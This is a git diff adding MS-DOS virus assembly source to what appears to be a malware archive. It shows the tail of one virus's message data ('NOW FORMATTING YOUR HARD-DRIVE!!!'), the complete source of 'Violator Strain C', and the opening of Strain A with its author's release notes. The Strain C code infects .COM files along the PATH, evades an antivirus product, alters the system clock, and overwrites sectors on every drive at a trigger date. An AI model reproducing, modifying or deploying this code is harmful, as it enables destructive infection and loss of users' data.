',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,'',1,'',1,'',1,'',1 + DB ' ',1,' ',1,'',15,'',15,'',15,'',15,'',15,'',15 + DB '',15,'',15,'',15,'',15,'',15,'',1,'',1,'',1,'' + DB 1,'',1,'',1,'',1,'',1,'',1,'',12,'',12,'',12,'' + DB 12,'',12,'',12,'',12,'',1,'',1,'',1,'',1,'',1 + DB '',1,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',15,'a',15 + DB 't',15,'i',15,'o',15,'n',15,'a',15,'l',15,' ',15,'D',15 + DB 'e',15,'v',15,'e',15,'l',15,'o',15,'p',15,'m',15,'e',15 + DB 'n',15,'t',15,' ',15,'C',15,'o',15,'r',15,'p',15,'o',15 + DB 'r',15,'a',15,'t',15,'i',15,'o',15,'n',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,'.',7,'.',7,'.',7,'w',7,'o',7,'u',7,'l',7,'d',7 + DB ' ',7,'l',7,'i',7,'k',7,'e',7,' ',7,'t',7,'o',7,' ',7 + DB 't',7,'a',7,'k',7,'e',7,' ',7,'t',7,'h',7,'i',7,'s',7 + DB ' ',7,'o',7,'p',7,'p',7,'o',7,'u',7,'r',7,'t',7,'u',7 + DB 'n',7,'i',7,'t',7,'y',7,' ',7,'t',7,'o',7,' ',7,'s',7 + DB 'p',7,'r',7,'e',7,'a',7,'d',7,' ',7,'i',7,'t',7,39,7,'s' + DB 7,' ',7,'s',7,'i',7,'n',7,'c',7,'e',7,'r',7,'e',7,'s' + DB 7,'t',7,' ',7,'w',7,'i',7,'s',7,'h',7,'e',7,'s',7,' ' + DB 7,'o',7,'f',7,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'a',7,' ',7 + DB 'v',7,'e',7,'r',7,'y',7,' ',7,'m',7,'e',7,'r',7,'r',7 + DB 'y',7,' ',7,'C',7,'h',7,'r',7,'i',7,'s',7,'t',7,'m',7 + DB 'a',7,'s',7,' ',7,'S',7,'e',7,'a',7,'s',7,'o',7,'n',7 + DB '.',7,' ',7,'H',7,'a',7,'v',7,'e',7,' ',7,'a',7,' ',7 + DB 'v',7,'i',7,'r',7,'u',7,'s',7,' ',7,'f',7,'i',7,'l',7 + DB 'l',7,'e',7,'d',7,' ',7,'n',7,'e',7,'w',7,' ',7,'y',7 + DB 'e',7,'a',7,'r',7,'!',7,'!',7,'!',7,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',132,'O',132 + DB 'W',132,' ',132,'F',132,'O',132,'R',132,'M',132,'A',132 + DB 'T',132,'T',132,'I',132,'N',132,'G',132,' ',132,'Y',132 + DB 'O',132,'U',132,'R',132,' ',132,'H',132,'A',132,'R',132 + DB 'D',132,'-',132,'D',132,'R',132,'I',132,'V',132,'E',132 + DB '!',132,'!',132,'!',132,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,15,142,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 6,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'',10,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,'',10,'',10,'',10,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'' + DB 10,'',10,'',10,'',10,'',10,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'',10,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,'',10,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,'',10,'',10,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,'',10,'',10,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,'',10,'',10,'',10,'',10,'' + DB 10,'',10,'',10,'',10,'',10,'',10,'',10,'',10,'' + DB 10,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,'',6,'',6,'',6,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',6,' ',6,' ',6,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ' + DB 6,' ',6 + +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +fspec_ DB '*.COM',0 +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ + +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat + + CODE ENDS +END VCODE + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.viol-c.asm b/MSDOS/Virus.MSDOS.Unknown.viol-c.asm new file mode 100644 index 00000000..6e0a28a7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viol-c.asm @@ -0,0 +1,441 @@ +; +; Violator Strain C - "Violator strikes again..." +; +; Written by The High Evolutionary +; RABID International Development Corp. +; + +; +; Here are the equates for when the virus will destroy media +; + +month equ 6 ;Set month to June +day equ 22 ;Set day to the 22nd +year equ 1991 ;Set year to 1991 + +sectors equ 256 ;Fry 256 sectors on the diskette +lastdrv equ 26 ;Set lastdrive to be fried here + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +@write macro drive,sec,buf + pushf ; Push all flags onto the stack + mov al,drive ; Select drive to write + mov cx,sec ; Choose amount of sectors + mov dx,0 ; Set format to start at sec. 0 + mov bx,offset buf ; Set format to have intro + ; string imbedded in sector 0 + int 26h ; Call BIOS to write drive + popf ; Restore the flags we pushed +endm + + +violator: + JMP virus + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area +; +; This routine here will check to see if FSP or VirexPC is active. If it is, +; then we will not run as to avoid detection... +; +; This is done by using some wierd undocumented DOS call which I've never seen +; before, but nonetheless, it does the job... +; + + mov ax,0ff0fh ;Check memory marker + int 21h + cmp ax,101h ;Is the marker for VirexPC/FSP resident + + jne year_check ;No? Continue with the virus + jmp quit ;Yes! Terminate the virus + +year_check: + MOV AH,2AH ; Get date info + INT 21h ; + CMP CX,year ; Check if it's (year) + jb get_space ; Not the year, then must be an + ; XT... + JGE month_check ; Yes? Check the month + JMP do_shit ; No? Go to infection routine + +month_check: + mov ah,2ah + int 21h + CMP DH,month ; Check if it's (month) + JGE day_check ; Yeah? Check the day + JMP do_shit ; No? Infect a phile + +day_check: + CMP DL,day ; Check if it's (day) + JGE fry_drives ; Yeah? Kill all drives + JMP do_shit ; No? Infect a poor guy! + +get_space: + cmp cx,1990 ; Did we change the clock? + je was_changed ; Yes we did. Continue... +; +; We only get here if the date is not 1990 +; + mov ah,2bh + mov cx,1990 ; Set date to 1990 + int 21h + mov ah,2dh + mov cl,1 ; Set minutes to 1 + int 21h + +; +; We only get here is the date is 1990. Check clock... +; + +was_changed: + mov ah,2ch + int 21h ; Get time + cmp cl,15 ; 15 minutes... + jae fry ; Have we been run after 15 + ; minutes of usage? Yes! Fry! + jmp month_check ; No! Continue... + +; +; Only print this if it's June 22nd, 1991 +; + +fry_drives: + mov ah,9 + mov dx,si ; Load DX with SI segment + add dx,strike ; Print out a message + int 21h + +fry: cmp byte ptr [si+drv],lastdrv ; Check to see if the last + ; drive is fried + ja do_shit ; If yeah. Then gedoudahere + @write [si+drv],256,intro ; No? Then fry the drive... + inc byte ptr [si+drv] ; Increment for the next drive + jmp fry ; Then go up and fry another + +do_shit:PUSH ES ; Push ES onto the stack + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address from ES + POP ES ;Restore the original ES segment + MOV DX,dta ;Offset of new DTA in virus data area + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + PUSH ES ;Push ES onto the stack + PUSH SI ;Push the source index + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 ;Set to read in 6 bytes + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1CH ;Mask to remove all but seconds + CMP AL,1CH ;56 seconds -> already infected + JZ find_next ;If so, go find another file + +;****************************************************************************** +;Is the file too long? If it's 64000 bytes, then don't infect it +;****************************************************************************** + + CMP WORD PTR [SI+dta_len],(0FA00H-virlen) + ;Is the file too large +; +; Here we take into acount that the file will fit into even the largest legal +; COM file... +; + + JA find_next ;If too long, find another one + +;****************************************************************************** +;Is it too short? If it's 1500 bytes or smaller, then don't infect it +;****************************************************************************** + + CMP WORD PTR [SI+dta_len],5dcH + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + INT 21H + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV CX,virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ;address of virus code in memory + INT 21H + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1CH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H ;Move offset 100h into DI + PUSH DI ;Push DI onto the stack + XOR DI,DI ;Zero it out + RET 0FFFFH ;Jump to the location in DI +; +; This little trick is used to jump back to the beginning of the program after +; our JMP instruction. This is to return control to the host program. +; + +vir_dat EQU $ + +drv_ db 2 ;drv is the drive to be + ;nuked! (Drive C:) +intro_ DB 13,10 + db 'Violator Strain C - (C) 1991 RABID Int''nl Development Corp.' + db 13,10 +strike_ db 13,10 + db 'Violator strikes again...' + db 13,10,'$' +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H ;3 byte equate to terminate program + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +envstr_ DB 'PATH=' ;Find this in the environment +fspec_ DB '*.COM',0 ;What to infect??? +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA + +lst_byt EQU $ + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H +drv = drv_ - vir_dat +intro = intro_ - vir_dat +strike = strike_ - vir_dat +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA + + CODE ENDS +END violator diff --git a/MSDOS/Virus.MSDOS.Unknown.viola.asm b/MSDOS/Virus.MSDOS.Unknown.viola.asm new file mode 100644 index 00000000..13334505 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viola.asm @@ -0,0 +1,462 @@ +;****************************************************************************** +; Violator Strain A Source Code +;****************************************************************************** +; +; (May/1/1991) +; +; Well, in memory of the first anniversary of writing Violator, I have decided +; to release it's source code publicly. +; +; This is the source code to the ORIGINAL Violator or DDrUS virus. It was set +; to go off on June 22nd, 1990. The significance of this date and the name +; Violator, was that my favourite group, Depeche Mode, were comming to Toronto +; to perform their "World Violator Tour" on that date. +; +; This virus, as you can clearly see, is a base hack of the Vienna virus. The +; only thing I took out of the Vienna virus was the original scan string, and +; added date check routines as well as the INT 26 format routine. Other than +; that, this virus is pretty much like the original Vienna virus. +; +; In any event, have fun with this source code, but please keep in mind, that +; RABID does not condone the modification of this virus further in order to +; create even more raging, destructive viruses. This source is being provided +; to you in order to see how easy it is to modify an existing virus into an +; instrument of destruction. Also, RABID accepts no responsibility for damage +; which may be wrought (material or immaterial, financial or personal, you get +; the idea...) through the spreading of this source code. +; +; At this point in time, I'd wish to express greetings to several people. +; +; To the Dark Avenger, for releasing "Eddie" source code. We have greatly +; improved our programming prowess through analysis of your source code. +; (It wasn't that bad, despite all your self-scorning negative comments about +; effectiveness of certain procedures) +; Keep up the great work... +; BTW: Hope you didn't mind RABID Avenger too much. We did spread the sucker +; some more... +; +; To YAM (Youth Against McAfee). Haha! Nice name. Too bad you can't program in +; anything other than PASCAL or QuickBASIC. +; +; To John McAfee and Associates. Keep up the great work with your SCAN and +; 